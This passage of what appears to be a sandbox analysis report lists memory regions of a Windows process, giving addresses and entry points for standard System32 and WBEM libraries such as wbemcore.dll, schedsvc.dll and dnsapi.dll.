0x7fef40a9fff monitored = 0 entry_point = 0x7fef4071010 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 1283 start_va = 0x7fef4720000 end_va = 0x7fef4790fff monitored = 0 entry_point = 0x7fef475ecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1284 start_va = 0x7fef4860000 end_va = 0x7fef486efff monitored = 0 entry_point = 0x7fef4869a48 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 1285 start_va = 0x7fef4880000 end_va = 0x7fef489cfff monitored = 0 entry_point = 0x7fef4882f18 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 1286 start_va = 0x7fef49a0000 end_va = 0x7fef49abfff monitored = 0 entry_point = 0x7fef49a602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1287 start_va = 0x7fef4d10000 end_va = 0x7fef4d17fff monitored = 0 entry_point = 0x7fef4d11414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1288 start_va = 0x7fef4d20000 end_va = 0x7fef4d90fff monitored = 0 entry_point = 0x7fef4d651d0 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1289 start_va = 0x7fef4da0000 end_va = 0x7fef4db1fff monitored = 0 entry_point = 0x7fef4da89d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1290 start_va = 0x7fef4dc0000 end_va = 0x7fef4e74fff monitored = 0 entry_point = 0x7fef4e3cf80 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1291 start_va = 0x7fef4e80000 end_va = 0x7fef4e98fff monitored = 0 entry_point = 0x7fef4e81104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1292 start_va = 0x7fef4ea0000 end_va = 0x7fef4eeffff monitored = 0 entry_point = 0x7fef4ea1190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1293 start_va = 0x7fef4ef0000 end_va = 0x7fef4ef7fff monitored = 0 entry_point = 0x7fef4ef1020 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 1294 start_va = 0x7fef4f00000 end_va = 0x7fef4f59fff monitored = 0 entry_point = 0x7fef4f3dde0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1295 start_va = 0x7fef4f60000 end_va = 0x7fef4f80fff monitored = 0 entry_point = 0x7fef4f703b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1296 start_va = 0x7fef4f90000 end_va = 0x7fef4ffafff monitored = 0 entry_point = 0x7fef4fd4344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 1297 start_va = 0x7fef5000000 end_va = 0x7fef5012fff monitored = 0 entry_point = 0x7fef5001d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1298 start_va = 0x7fef5020000 end_va = 0x7fef5081fff monitored = 0 entry_point = 0x7fef505bd80 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1299 start_va = 0x7fef5090000 end_va = 0x7fef51bbfff monitored = 0 entry_point = 0x7fef5140ef0 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1300 start_va = 0x7fef51c0000 end_va = 0x7fef51d9fff monitored = 0 entry_point = 0x7fef51d3fbc region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 1301 start_va = 0x7fef51e0000 end_va = 0x7fef5263fff monitored = 0 entry_point = 0x7fef5231118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 1302 start_va = 0x7fef5270000 end_va = 0x7fef5294fff monitored = 0 entry_point = 0x7fef5288c54 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 1303 start_va = 0x7fef52a0000 end_va = 0x7fef52dcfff monitored = 0 entry_point = 0x7fef52a1070 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 1304 start_va = 0x7fef52e0000 end_va = 0x7fef52edfff monitored = 0 entry_point = 0x7fef52e5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1305 start_va = 0x7fef52f0000 end_va = 0x7fef5316fff monitored = 0 entry_point = 0x7fef52f11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1306 start_va = 0x7fef5320000 end_va = 0x7fef53f2fff monitored = 0 entry_point = 0x7fef5398b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1307 start_va = 0x7fef5440000 end_va = 0x7fef5486fff monitored = 0 entry_point = 0x7fef5441040 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1308 start_va = 0x7fef5490000 end_va = 0x7fef54d1fff monitored = 0 entry_point = 0x7fef54917e4 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 1309 start_va = 0x7fef54e0000 end_va = 0x7fef54f0fff monitored = 0 entry_point = 0x7fef54e14c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1310 start_va = 0x7fef5500000 end_va = 0x7fef5591fff monitored = 0 entry_point = 0x7fef55751ec region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 1311 start_va = 0x7fef55a0000 end_va = 0x7fef5616fff monitored = 0 entry_point = 0x7fef55de7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1312 start_va = 0x7fef5620000 end_va = 0x7fef5659fff monitored = 0 entry_point = 0x7fef563d020 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 1313 start_va = 0x7fef5880000 end_va = 0x7fef5a2ffff monitored = 0 entry_point = 0x7fef5881010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1314 start_va = 0x7fef69e0000 end_va = 0x7fef6a53fff monitored = 0 entry_point = 0x7fef69e66f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1315 start_va = 0x7fef7bd0000 end_va = 0x7fef7beafff monitored = 0 entry_point = 0x7fef7bd1198 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1316 start_va = 0x7fef8010000 end_va = 0x7fef8051fff monitored = 0 entry_point = 0x7fef8040048 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 1317 start_va = 0x7fef8260000 end_va = 0x7fef8268fff monitored = 0 entry_point = 0x7fef82611a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1318 start_va = 0x7fef8c40000 end_va = 0x7fef8d2dfff monitored = 0 entry_point = 0x7fef8c412a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1319 start_va = 0x7fef9050000 end_va = 0x7fef9069fff monitored = 0 entry_point = 0x7fef9061ae4 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 1320 start_va = 0x7fef9090000 end_va = 0x7fef909efff monitored = 0 entry_point = 0x7fef9096894 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 1321 start_va = 0x7fefabb0000 end_va = 0x7fefac26fff monitored = 0 entry_point = 0x7fefabbafd0 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1322 start_va = 0x7fefac50000 end_va = 0x7fefac59fff monitored = 0 entry_point = 0x7fefac5260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1323 start_va = 0x7fefac60000 end_va = 0x7fefad71fff monitored = 0 entry_point = 0x7fefac7f354 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1324 start_va = 0x7fefad80000 end_va = 0x7fefad8efff monitored = 0 entry_point = 0x7fefad87e80 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 1325 start_va = 0x7fefad90000 end_va = 0x7fefad98fff monitored = 0 entry_point = 0x7fefad93668 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 1326 start_va = 0x7fefada0000 end_va = 0x7fefada8fff monitored = 0 entry_point = 0x7fefada1020 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 1327 start_va = 0x7fefadb0000 end_va = 0x7fefae05fff monitored = 0 entry_point = 0x7fefadb1040 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1328 start_va = 0x7fefae10000 end_va = 0x7fefae6dfff monitored = 0 entry_point = 0x7fefae19024 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1329 start_va = 0x7fefae70000 end_va = 0x7fefae87fff monitored = 0 entry_point = 0x7fefae71bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1330 start_va = 0x7fefae90000 end_va = 0x7fefaea0fff monitored = 0 entry_point = 0x7fefae916ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1331 start_va = 0x7fefaee0000 end_va = 0x7fefaf32fff monitored = 0 entry_point = 0x7fefaee2b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1332 start_va = 0x7fefaf50000 end_va = 0x7fefaf59fff monitored = 0 entry_point = 0x7fefaf53994 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 1333 start_va = 0x7fefb0f0000 end_va = 0x7fefb103fff monitored = 0 entry_point = 0x7fefb0f3e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1334 start_va = 0x7fefb110000 end_va = 0x7fefb11afff monitored = 0 entry_point = 0x7fefb111198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1335 start_va = 0x7fefb120000 end_va = 0x7fefb146fff monitored = 0 entry_point = 0x7fefb1298bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1336 start_va = 0x7fefb150000 end_va = 0x7fefb1b6fff monitored = 0 entry_point = 0x7fefb166060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1337 start_va = 0x7fefb1d0000 end_va = 0x7fefb1dafff monitored = 0 entry_point = 0x7fefb1d4f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1338 start_va = 0x7fefb1e0000 end_va = 0x7fefb1ebfff monitored = 0 entry_point = 0x7fefb1e15d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1339 start_va = 0x7fefb1f0000 end_va = 0x7fefb1fffff monitored = 0 entry_point = 0x7fefb1f835c region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1340 start_va = 0x7fefb200000 end_va = 0x7fefb218fff monitored = 0 entry_point = 0x7fefb2011a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1341 start_va = 0x7fefb220000 end_va = 0x7fefb256fff monitored = 0 entry_point = 0x7fefb228424 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1342 start_va = 0x7fefb2a0000 end_va = 0x7fefb2b4fff monitored = 0 entry_point = 0x7fefb2a60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1343 start_va = 0x7fefb2c0000 end_va = 0x7fefb381fff monitored = 0 entry_point = 0x7fefb2c101c region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1344 start_va = 0x7fefb5a0000 end_va = 0x7fefb5b6fff monitored = 0 entry_point = 0x7fefb5a9d50 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 1345 start_va = 0x7fefb5c0000 end_va = 0x7fefb5c8fff monitored = 0 entry_point = 0x7fefb5c1010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 1346 start_va = 0x7fefb6b0000 end_va = 0x7fefb6dcfff monitored = 0 entry_point = 0x7fefb6b1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1347 start_va = 0x7fefb6e0000 end_va = 0x7fefb6f0fff monitored = 0 entry_point = 0x7fefb6e9e7c region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1348 start_va = 0x7fefb700000 end_va = 0x7fefb763fff monitored = 0 entry_point = 0x7fefb701254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1349 start_va = 0x7fefb770000 end_va = 0x7fefb7e0fff monitored = 0 entry_point = 0x7fefb771010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1350 start_va = 0x7fefb830000 end_va = 0x7fefb843fff monitored = 0 entry_point = 0x7fefb8316b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1351 start_va = 0x7fefb850000 end_va = 0x7fefb864fff monitored = 0 entry_point = 0x7fefb851050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1352 start_va = 0x7fefb870000 end_va = 0x7fefb87bfff monitored = 0 entry_point = 0x7fefb8718a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1353 start_va = 0x7fefb880000 end_va = 0x7fefb895fff monitored = 0 entry_point = 0x7fefb8811a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1354 start_va = 0x7fefb910000 end_va = 0x7fefb926fff monitored = 0 entry_point = 0x7fefb911060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1355 start_va = 0x7fefb9b0000 end_va = 0x7fefb9c0fff monitored = 0 entry_point = 0x7fefb9b1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1356 start_va = 0x7fefbb10000 end_va = 0x7fefbb44fff monitored = 0 entry_point = 0x7fefbb11064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1357 start_va = 0x7fefbf80000 end_va = 0x7fefbfd5fff monitored = 0 entry_point = 0x7fefbf8bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1358 start_va = 0x7fefbfe0000 end_va = 0x7fefc10bfff monitored = 0 entry_point = 0x7fefbfe94bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1359 start_va = 0x7fefc110000 end_va = 0x7fefc12cfff monitored = 0 entry_point = 0x7fefc111ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1360 start_va = 0x7fefc160000 end_va = 0x7fefc353fff monitored = 0 entry_point = 0x7fefc2ec924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1361 start_va = 0x7fefc7f0000 end_va = 0x7fefc7fbfff monitored = 0 entry_point = 0x7fefc7f1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1362 start_va = 0x7fefc800000 end_va = 0x7fefc8bafff monitored = 0 entry_point = 0x7fefc806de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1363 start_va = 0x7fefc8c0000 end_va = 0x7fefc8c6fff monitored = 0 entry_point = 0x7fefc8c14b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1364 start_va = 0x7fefc9b0000 end_va = 0x7fefc9cafff monitored = 0 entry_point = 0x7fefc9b2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1365 start_va = 0x7fefc9d0000 end_va = 0x7fefc9edfff monitored = 0 entry_point = 0x7fefc9d13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1366 start_va = 0x7fefc9f0000 end_va = 0x7fefca01fff monitored = 0 entry_point = 0x7fefc9f1060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 1367 start_va = 0x7fefca10000 end_va = 0x7fefca2efff monitored = 0 entry_point = 0x7fefca15c68 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 1368 start_va = 0x7fefcae0000 end_va = 0x7fefcb18fff monitored = 0 entry_point = 0x7fefcaec0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1369 start_va = 0x7fefcb20000 end_va = 0x7fefcb29fff monitored = 0 entry_point = 0x7fefcb23cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1370 start_va = 0x7fefcb30000 end_va = 0x7fefcb3cfff monitored = 0 entry_point = 0x7fefcb31348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 1371 start_va = 0x7fefcc20000 end_va = 0x7fefcc66fff monitored = 0 entry_point = 0x7fefcc21064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1372 start_va = 0x7fefcd10000 end_va = 0x7fefcd3ffff monitored = 0 entry_point = 0x7fefcd1194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1373 start_va = 0x7fefcd40000 end_va = 0x7fefcd9afff monitored = 0 entry_point = 0x7fefcd46940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1374 start_va = 0x7fefceb0000 end_va = 0x7fefceb6fff monitored = 0 entry_point = 0x7fefceb142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1375 start_va = 0x7fefcec0000 end_va = 0x7fefcf14fff monitored = 0 entry_point = 0x7fefcec1054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1376 start_va = 0x7fefcf20000 end_va = 0x7fefcf37fff monitored = 0 entry_point = 0x7fefcf23b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1377 start_va = 0x7fefd030000 end_va = 0x7fefd061fff monitored = 0 entry_point = 0x7fefd03144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1378 start_va = 0x7fefd070000 end_va = 0x7fefd077fff monitored = 0 entry_point = 0x7fefd072a6c region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 1379 start_va = 0x7fefd080000 end_va = 0x7fefd089fff monitored = 0 entry_point = 0x7fefd083b40 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1380 start_va = 0x7fefd090000 end_va = 0x7fefd0b1fff monitored = 0 entry_point = 0x7fefd095d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1381 start_va = 0x7fefd110000 end_va = 0x7fefd13efff monitored = 0 entry_point = 0x7fefd111064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1382 start_va = 0x7fefd150000 end_va = 0x7fefd1bcfff monitored = 0 entry_point = 0x7fefd151010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1383 start_va = 0x7fefd1c0000 end_va = 0x7fefd1d3fff monitored = 0 entry_point = 0x7fefd1c4160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1384 start_va = 0x7fefd420000 end_va = 0x7fefd442fff monitored = 0 entry_point = 0x7fefd421198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1385 start_va = 0x7fefd4c0000 end_va = 0x7fefd4cafff monitored = 0 entry_point = 0x7fefd4c1030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1386 start_va = 0x7fefd4f0000 end_va = 0x7fefd514fff monitored = 0 entry_point = 0x7fefd4f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1387 start_va = 0x7fefd520000 end_va = 0x7fefd52efff monitored = 0 entry_point = 0x7fefd521010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1388 start_va = 0x7fefd530000 end_va = 0x7fefd5c0fff monitored = 0 entry_point = 0x7fefd531440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1389 start_va = 0x7fefd5d0000 end_va = 0x7fefd60cfff monitored = 0 entry_point = 0x7fefd5d18f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1390 start_va = 0x7fefd610000 end_va = 0x7fefd623fff monitored = 0 entry_point = 0x7fefd6110e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1391 start_va = 0x7fefd630000 end_va = 0x7fefd63efff monitored = 0 entry_point = 0x7fefd6319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1392 start_va = 0x7fefd6d0000 end_va = 0x7fefd6defff monitored = 0 entry_point = 0x7fefd6d1020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1393 start_va = 0x7fefd6e0000 end_va = 0x7fefd6f9fff monitored = 0 entry_point = 0x7fefd6e1558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") 